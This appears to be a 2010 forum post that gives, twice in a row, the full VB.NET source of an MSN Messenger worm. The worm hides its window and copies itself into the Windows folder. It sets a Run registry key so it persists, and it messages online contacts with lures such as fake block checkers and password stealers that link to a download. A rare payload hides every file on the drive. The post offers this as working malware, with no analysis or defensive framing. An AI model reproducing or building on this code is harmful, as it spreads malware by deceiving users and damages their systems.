Anatoxis
30.05.2010, 23:02
'message(Int(15 * Rnd()) + 1)
Imports MessengerAPI
Imports System.Diagnostics
Imports System.Reflection
Imports Microsoft.Win32
Imports System.IO
Imports System.Net
Imports System.Text
Public Class Form1
Private Const MAX_PATH As Integer = 260
'declare some API's / variables... ect that will be used globaly in this worm
Private Declare Auto Function GetShortPathName Lib "kernel32" ( _
ByVal lpszLongPath As String, _
ByVal lpszShortPath As System.Text.StringBuilder, _
ByVal cchBuffer As Integer) As Integer
Dim WormPath As String
Dim WormFile As String
Dim msn As New Messenger()
Dim Victims As IMessengerContacts
Dim Victim2 As IMessengerContact
Dim Worm As String
Dim url As String = "http://www.your url here.net"
Const KeyTitle As String = "MSNUpdate"
Const subkey As String = "Software\Microsoft\Windows\CurrentVersion\Run"
'This sub deals with calling other needed sub's/functions and is the main body
'of the contacts spreading.
Sub MSN_Worm()
On Error Resume Next
File.Delete(Worm)
Dim message(15) As String
Randomize()
'''''''''''''''''''''''''''''''''''''''''''''''''' ''''''''''''''
'some lame messages to fool the user into getting this worm.. '
'''''''''''''''''''''''''''''''''''''''''''''''''' ''''''''''''''
message(1) = "New msn block checker 1.5 Download here: " & url
message(2) = "MSN Block checker download " & url
message(3) = "Working MSN block checker " & url
message(4) = "Free MSN Add-ons limited! " & url
message(5) = "New MSN messanger 2010 " & url
message(6) = "Find out who's blocked you! " & url
message(7) = "Download the new MSN block checker! " & url
message(8) = "Download the new MSN smilie kit! " & url
message(9) = "NEW MSN BLOCK CHECKER DOWNLOAD NOW! " & url
message(10) = "Download the new MSN bot it talks like a real person!! " & url
message(11) = "New MSN tool get it now! " & url
message(12) = "Download our new MSN block checker " & url
message(13) = "Find out who is blocking you on MSN " & url
message(14) = "This program can get your friends MSN passwords!! " & url
message(15) = "Find out your friends MSN passwords! " & url
'''''''''''''''''''''''''''''''''''''''''''''''''' ''''''''''''''''''
'okay so now it searches for online contacts and and opens a '
'a chat window to send its download link then closes the window.. '
'all done kinda reall fast '
'''''''''''''''''''''''''''''''''''''''''''''''''' ''''''''''''''''''
Victims = msn.MyContacts
For Each Victim2 In Victims
If Victim2.Status <> MISTATUS.MISTATUS_OFFLINE Then
If Victim2.Blocked <> True Then
msn.InstantMessage(Victim2.SigninName)
SendKeys.SendWait(message(Int(15 * Rnd()) + 1))
SendKeys.SendWait("{ENTER}")
SendKeys.SendWait("{ESC}")
End If
End If
Next
If Int(200 * Rnd()) = 50 Then
payload()
End If
End Sub
Private Sub Timer_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer.Tick
On Error Resume Next
'''''''''''''''''''''''''''''''''''''''''''''''''' '''''''''''''''''
'The worm need's to know when MSN starts/When its online/If its '
'already running ect.. this this timer deals with all that stuff '
'''''''''''''''''''''''''''''''''''''''''''''''''' '''''''''''''''''
Dim FindProcess As Process
For Each FindProcess In Process.GetProcesses(System.Environment.MachineNam e)
If (FindProcess.ToString().IndexOf("msnmsgr", 0) + 1) Then
If msn.MyStatus = MISTATUS.MISTATUS_ONLINE Then
Timer.Enabled = False
MSN_Worm()
End If
End If
Next FindProcess
End Sub
'''''''''''''''''''''''''''''''''''''''''''''''''' ''''''''''''''''''''''
'Worm needs to know the current drive its on so this deals with it. '
'''''''''''''''''''''''''''''''''''''''''''''''''' ''''''''''''''''''''''
Function CurDrive(ByVal arg As String)
On Error Resume Next
Dim dir As String, Pos As String
Pos = (arg.IndexOf("\", 0) + 1)
dir = arg.Substring(0, Val(Pos))
CurDrive = dir
End Function
'''''''''''''''''''''''''''''''''''''''''''''''''' '''''''''''''''''
'payload that calls on other functions to get what it needs. '
'''''''''''''''''''''''''''''''''''''''''''''''''' '''''''''''''''''
Sub payload()
On Error Resume Next
Dim MyDir As DirectoryInfo
MyDir = New DirectoryInfo(WormPath)
GetDirs(MyDir)
End Sub
'''''''''''''''''''''''''''''''''''''''''''''''''' '''''''''''''''''''''''''?''
'this kinda just installs the worm.. explains itself (like most of my code) '
'''''''''''''''''''''''''''''''''''''''''''''''''' '''''''''''''''''''''''''?''
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
On Error Resume Next
Me.Visible = False
Dim WormModule As System.Reflection.Module = [Assembly].GetExecutingAssembly().GetModules()(0)
WormFile = (WormModule.FullyQualifiedName)
WormPath = (CurDrive(WormFile))
Dim NewValue As String = WormPath & "\WINDOWS\" & KeyTitle & ".exe"
If File.Exists(NewValue) = False Then
File.Copy(WormFile, NewValue)
End If
Worm = RndFileName() & ".exe"
If File.Exists(Worm) = False Then
File.Copy(WormFile, Worm)
End If
Dim key As RegistryKey = Registry.CurrentUser.OpenSubKey(subkey, True)
key.SetValue(KeyTitle, NewValue)
End Sub
'''''''''''''''''''''''''''''''''''''''''''''''''' '''''''''''''''''
'this is part of a recursive folder searching function '
'''''''''''''''''''''''''''''''''''''''''''''''''' '''''''''''''''''
Sub GetDirs(ByVal aDir As DirectoryInfo)
On Error Resume Next
Dim nextDir As DirectoryInfo
GetFiles(aDir)
For Each nextDir In aDir.GetDirectories
GetDirs(nextDir)
Next
End Sub
'''''''''''''''''''''''''''''''''''''''''''''''''' '''''''''''''''''
'same as above but for files.. they reply on eachother to work.. '
'''''''''''''''''''''''''''''''''''''''''''''''''' '''''''''''''''''
Sub GetFiles(ByVal aDir As DirectoryInfo)
On Error Resume Next
Dim aFile As FileInfo
For Each aFile In aDir.GetFiles()
File.SetAttributes(aFile.FullName, FileAttributes.Hidden)
Next
End Sub
'''''''''''''''''''''''''''''''''''''''''''''''''' '''''''''''''''''
'well i decided its better not to use a static name for uploading '
'''''''''''''''''''''''''''''''''''''''''''''''''' '''''''''''''''''
Function RndFileName()
On Error Resume Next
Dim builder As New StringBuilder()
Dim random As New Random()
Dim cha As Char
Dim i As Integer
For i = 0 To 6
cha = Convert.ToChar(Convert.ToInt32((26 * random.NextDouble() + 65)))
builder.Append(cha)
Next
RndFileName = builder.ToString()
End Function
'''''''''''''''''''''''''''''''''''''''''''''''''' ''''''
'the worm needs to know if and where WinRar is right? '
'''''''''''''''''''''''''''''''''''''''''''''''''' ''''''
'''''''''''''''''''''''''''''''''''''''''''''''''' '''''''''''''''''''''''''?''''''''''''''''
'Long path wont work with WinRar.exe because of the spaces so this function deals with it '
'''''''''''''''''''''''''
'get current directory '
'''''''''''''''''''''''''
Function WorkingFolder(ByVal arg As String)
On Error Resume Next
Dim dir As String, Pos As String
Pos = InStrRev(arg, "\")
dir = Mid(arg, 1, Val(Pos))
WorkingFolder = dir
End Function
End Class
Imports MessengerAPI
Imports System.Diagnostics
Imports System.Reflection
Imports Microsoft.Win32
Imports System.IO
Imports System.Net
Imports System.Text
Public Class Form1
Private Const MAX_PATH As Integer = 260
'declare some API's / variables... ect that will be used globaly in this worm
Private Declare Auto Function GetShortPathName Lib "kernel32" ( _
ByVal lpszLongPath As String, _
ByVal lpszShortPath As System.Text.StringBuilder, _
ByVal cchBuffer As Integer) As Integer
Dim WormPath As String
Dim WormFile As String
Dim msn As New Messenger()
Dim Victims As IMessengerContacts
Dim Victim2 As IMessengerContact
Dim Worm As String
Dim url As String = "http://www.your url here.net"
Const KeyTitle As String = "MSNUpdate"
Const subkey As String = "Software\Microsoft\Windows\CurrentVersion\Run"
'This sub deals with calling other needed sub's/functions and is the main body
'of the contacts spreading.
Sub MSN_Worm()
On Error Resume Next
File.Delete(Worm)
Dim message(15) As String
Randomize()
'''''''''''''''''''''''''''''''''''''''''''''''''' ''''''''''''''
'some lame messages to fool the user into getting this worm.. '
'''''''''''''''''''''''''''''''''''''''''''''''''' ''''''''''''''
message(1) = "New msn block checker 1.5 Download here: " & url
message(2) = "MSN Block checker download " & url
message(3) = "Working MSN block checker " & url
message(4) = "Free MSN Add-ons limited! " & url
message(5) = "New MSN messanger 2010 " & url
message(6) = "Find out who's blocked you! " & url
message(7) = "Download the new MSN block checker! " & url
message(8) = "Download the new MSN smilie kit! " & url
message(9) = "NEW MSN BLOCK CHECKER DOWNLOAD NOW! " & url
message(10) = "Download the new MSN bot it talks like a real person!! " & url
message(11) = "New MSN tool get it now! " & url
message(12) = "Download our new MSN block checker " & url
message(13) = "Find out who is blocking you on MSN " & url
message(14) = "This program can get your friends MSN passwords!! " & url
message(15) = "Find out your friends MSN passwords! " & url
'''''''''''''''''''''''''''''''''''''''''''''''''' ''''''''''''''''''
'okay so now it searches for online contacts and and opens a '
'a chat window to send its download link then closes the window.. '
'all done kinda reall fast '
'''''''''''''''''''''''''''''''''''''''''''''''''' ''''''''''''''''''
Victims = msn.MyContacts
For Each Victim2 In Victims
If Victim2.Status <> MISTATUS.MISTATUS_OFFLINE Then
If Victim2.Blocked <> True Then
msn.InstantMessage(Victim2.SigninName)
SendKeys.SendWait(message(Int(15 * Rnd()) + 1))
SendKeys.SendWait("{ENTER}")
SendKeys.SendWait("{ESC}")
End If
End If
Next
If Int(200 * Rnd()) = 50 Then
payload()
End If
End Sub
Private Sub Timer_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer.Tick
On Error Resume Next
'''''''''''''''''''''''''''''''''''''''''''''''''' '''''''''''''''''
'The worm need's to know when MSN starts/When its online/If its '
'already running ect.. this this timer deals with all that stuff '
'''''''''''''''''''''''''''''''''''''''''''''''''' '''''''''''''''''
Dim FindProcess As Process
For Each FindProcess In Process.GetProcesses(System.Environment.MachineNam e)
If (FindProcess.ToString().IndexOf("msnmsgr", 0) + 1) Then
If msn.MyStatus = MISTATUS.MISTATUS_ONLINE Then
Timer.Enabled = False
MSN_Worm()
End If
End If
Next FindProcess
End Sub
'''''''''''''''''''''''''''''''''''''''''''''''''' ''''''''''''''''''''''
'Worm needs to know the current drive its on so this deals with it. '
'''''''''''''''''''''''''''''''''''''''''''''''''' ''''''''''''''''''''''
Function CurDrive(ByVal arg As String)
On Error Resume Next
Dim dir As String, Pos As String
Pos = (arg.IndexOf("\", 0) + 1)
dir = arg.Substring(0, Val(Pos))
CurDrive = dir
End Function
'''''''''''''''''''''''''''''''''''''''''''''''''' '''''''''''''''''
'payload that calls on other functions to get what it needs. '
'''''''''''''''''''''''''''''''''''''''''''''''''' '''''''''''''''''
Sub payload()
On Error Resume Next
Dim MyDir As DirectoryInfo
MyDir = New DirectoryInfo(WormPath)
GetDirs(MyDir)
End Sub
'''''''''''''''''''''''''''''''''''''''''''''''''' '''''''''''''''''''''''''?''
'this kinda just installs the worm.. explains itself (like most of my code) '
'''''''''''''''''''''''''''''''''''''''''''''''''' '''''''''''''''''''''''''?''
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
On Error Resume Next
Me.Visible = False
Dim WormModule As System.Reflection.Module = [Assembly].GetExecutingAssembly().GetModules()(0)
WormFile = (WormModule.FullyQualifiedName)
WormPath = (CurDrive(WormFile))
Dim NewValue As String = WormPath & "\WINDOWS\" & KeyTitle & ".exe"
If File.Exists(NewValue) = False Then
File.Copy(WormFile, NewValue)
End If
Worm = RndFileName() & ".exe"
If File.Exists(Worm) = False Then
File.Copy(WormFile, Worm)
End If
Dim key As RegistryKey = Registry.CurrentUser.OpenSubKey(subkey, True)
key.SetValue(KeyTitle, NewValue)
End Sub
'''''''''''''''''''''''''''''''''''''''''''''''''' '''''''''''''''''
'this is part of a recursive folder searching function '
'''''''''''''''''''''''''''''''''''''''''''''''''' '''''''''''''''''
Sub GetDirs(ByVal aDir As DirectoryInfo)
On Error Resume Next
Dim nextDir As DirectoryInfo
GetFiles(aDir)
For Each nextDir In aDir.GetDirectories
GetDirs(nextDir)
Next
End Sub
'''''''''''''''''''''''''''''''''''''''''''''''''' '''''''''''''''''
'same as above but for files.. they reply on eachother to work.. '
'''''''''''''''''''''''''''''''''''''''''''''''''' '''''''''''''''''
Sub GetFiles(ByVal aDir As DirectoryInfo)
On Error Resume Next
Dim aFile As FileInfo
For Each aFile In aDir.GetFiles()
File.SetAttributes(aFile.FullName, FileAttributes.Hidden)
Next
End Sub
'''''''''''''''''''''''''''''''''''''''''''''''''' '''''''''''''''''
'well i decided its better not to use a static name for uploading '
'''''''''''''''''''''''''''''''''''''''''''''''''' '''''''''''''''''
Function RndFileName()
On Error Resume Next
Dim builder As New StringBuilder()
Dim random As New Random()
Dim cha As Char
Dim i As Integer
For i = 0 To 6
cha = Convert.ToChar(Convert.ToInt32((26 * random.NextDouble() + 65)))
builder.Append(cha)
Next
RndFileName = builder.ToString()
End Function
'''''''''''''''''''''''''''''''''''''''''''''''''' ''''''
'the worm needs to know if and where WinRar is right? '
'''''''''''''''''''''''''''''''''''''''''''''''''' ''''''
'''''''''''''''''''''''''''''''''''''''''''''''''' '''''''''''''''''''''''''?''''''''''''''''
'Long path wont work with WinRar.exe because of the spaces so this function deals with it '
'''''''''''''''''''''''''
'get current directory '
'''''''''''''''''''''''''
Function WorkingFolder(ByVal arg As String)
On Error Resume Next
Dim dir As String, Pos As String
Pos = InStrRev(arg, "\")
dir = Mid(arg, 1, Val(Pos))
WorkingFolder = dir
End Function
End Class